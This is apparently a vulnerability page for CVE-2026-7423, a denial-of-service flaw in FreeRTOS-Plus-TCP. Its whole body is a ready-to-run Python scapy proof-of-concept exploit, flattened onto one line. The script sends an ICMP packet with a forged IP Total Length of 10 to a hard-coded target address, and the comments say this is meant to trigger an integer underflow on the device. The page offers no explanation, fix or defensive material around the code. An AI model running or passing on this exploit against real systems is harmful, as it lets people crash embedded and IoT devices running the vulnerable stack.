CVE-2026-7423 FreeRTOS-Plus-TCP拒绝服务漏洞

from scapy.all import * # Configuration target_ip = "192.168.1.10" # IP of the vulnerable FreeRTOS device interface = "eth0" def send_malicious_icmp(): # Construct an IP header where the Total Length is smaller than the IP+ICMP header size. # IP Header (20 bytes) + ICMP Header (8 bytes) = 28 bytes minimum. # We set Total Length to 10 to trigger the underflow. # 10 - 28 = -18, which becomes a very large unsigned integer. crafted_packet = IP(dst=target_ip, len=10) / ICMP() # Send the packet send(crafted_packet, iface=interface, verbose=1) print(f"[*] Malicious ICMP packet sent to {target_ip}") if __name__ == "__main__": send_malicious_icmp()